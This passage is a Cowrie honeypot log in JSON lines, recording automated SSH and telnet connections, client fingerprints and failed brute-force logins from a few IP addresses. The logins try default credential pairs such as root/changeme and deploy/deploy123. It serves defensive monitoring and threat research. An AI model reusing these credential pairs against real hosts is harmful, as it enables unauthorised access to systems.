{"eventid":"cowrie.session.closed","duration":36.91628050804138,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:55.404183Z","src_ip":"45.58.127.90","session":"72558b79a330","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:55.457182Z","src_ip":"176.65.132.129","session":"70f5af3931f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:55.703606Z","src_ip":"176.65.132.129","session":"70f5af3931f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:56.788048Z","src_ip":"176.65.132.129","session":"70f5af3931f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50290,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad9d90398280","protocol":"ssh","message":"New connection: 176.65.132.129:50290 (159.203.135.109:22) [session: ad9d90398280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:58.797170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:58.805678Z","src_ip":"176.65.132.129","session":"ad9d90398280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:58.888177Z","src_ip":"176.65.132.129","session":"ad9d90398280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:59.255795Z","src_ip":"176.65.132.129","session":"ad9d90398280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:00.409255Z","src_ip":"176.65.132.129","session":"ad9d90398280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50300,"dst_ip":"159.203.135.109","dst_port":22,"session":"b361602a8914","protocol":"ssh","message":"New connection: 176.65.132.129:50300 (159.203.135.109:22) [session: b361602a8914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:02.181145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:02.186313Z","src_ip":"176.65.132.129","session":"b361602a8914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:02.268489Z","src_ip":"176.65.132.129","session":"b361602a8914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.90545344352722,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:02.630823Z","src_ip":"45.58.127.90","session":"fa07eb3f46aa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:02.637877Z","src_ip":"176.65.132.129","session":"b361602a8914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38258,"dst_ip":"159.203.135.109","dst_port":22,"session":"835145105d14","protocol":"ssh","message":"New connection: 172.237.20.62:38258 (159.203.135.109:22) [session: 835145105d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:03.060454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:03.067901Z","src_ip":"172.237.20.62","session":"835145105d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:03.221595Z","src_ip":"172.237.20.62","session":"835145105d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.691073417663574,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:03.637409Z","src_ip":"45.58.127.90","session":"dc45ad404eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:03.725496Z","src_ip":"176.65.132.129","session":"b361602a8914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:04.048803Z","src_ip":"172.237.20.62","session":"835145105d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60772,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b18ba42d8a7","protocol":"telnet","message":"New connection: 45.58.127.90:60772 (10.17.0.5:23) [session: 4b18ba42d8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:04.904444Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:05.210299Z","src_ip":"172.237.20.62","session":"835145105d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50306,"dst_ip":"159.203.135.109","dst_port":22,"session":"00e195e60205","protocol":"ssh","message":"New connection: 176.65.132.129:50306 (159.203.135.109:22) [session: 00e195e60205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:05.601701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:05.654309Z","src_ip":"176.65.132.129","session":"00e195e60205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:05.708183Z","src_ip":"176.65.132.129","session":"00e195e60205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:06.015781Z","src_ip":"176.65.132.129","session":"00e195e60205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60788,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9dda60d27ca","protocol":"telnet","message":"New connection: 45.58.127.90:60788 (10.17.0.5:23) [session: f9dda60d27ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:06.341776Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:07.099925Z","src_ip":"176.65.132.129","session":"00e195e60205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33270,"dst_ip":"159.203.135.109","dst_port":22,"session":"99c27a3aad62","protocol":"ssh","message":"New connection: 176.65.132.129:33270 (159.203.135.109:22) [session: 99c27a3aad62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:09.027263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:09.031538Z","src_ip":"176.65.132.129","session":"99c27a3aad62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:09.114034Z","src_ip":"176.65.132.129","session":"99c27a3aad62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:09.363667Z","src_ip":"176.65.132.129","session":"99c27a3aad62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:10.479062Z","src_ip":"176.65.132.129","session":"99c27a3aad62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33276,"dst_ip":"159.203.135.109","dst_port":22,"session":"79ed1bee009e","protocol":"ssh","message":"New connection: 176.65.132.129:33276 (159.203.135.109:22) [session: 79ed1bee009e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:12.435942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:12.566174Z","src_ip":"176.65.132.129","session":"79ed1bee009e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:12.573321Z","src_ip":"176.65.132.129","session":"79ed1bee009e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:12.914291Z","src_ip":"176.65.132.129","session":"79ed1bee009e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:14.000784Z","src_ip":"176.65.132.129","session":"79ed1bee009e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59916,"dst_ip":"159.203.135.109","dst_port":22,"session":"87943a8e1f25","protocol":"ssh","message":"New connection: 172.237.20.62:59916 (159.203.135.109:22) [session: 87943a8e1f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:14.283553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:14.287546Z","src_ip":"172.237.20.62","session":"87943a8e1f25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:14.449925Z","src_ip":"172.237.20.62","session":"87943a8e1f25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:14.934318Z","src_ip":"172.237.20.62","session":"87943a8e1f25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51570,"dst_ip":"10.17.0.5","dst_port":23,"session":"210b7a6fe5a3","protocol":"telnet","message":"New connection: 45.58.127.90:51570 (10.17.0.5:23) [session: 210b7a6fe5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:15.278207Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42408,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5befdf730c2","protocol":"ssh","message":"New connection: 176.65.132.129:42408 (159.203.135.109:22) [session: c5befdf730c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:16.040714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:16.049150Z","src_ip":"176.65.132.129","session":"c5befdf730c2","protocol":"ssh"}
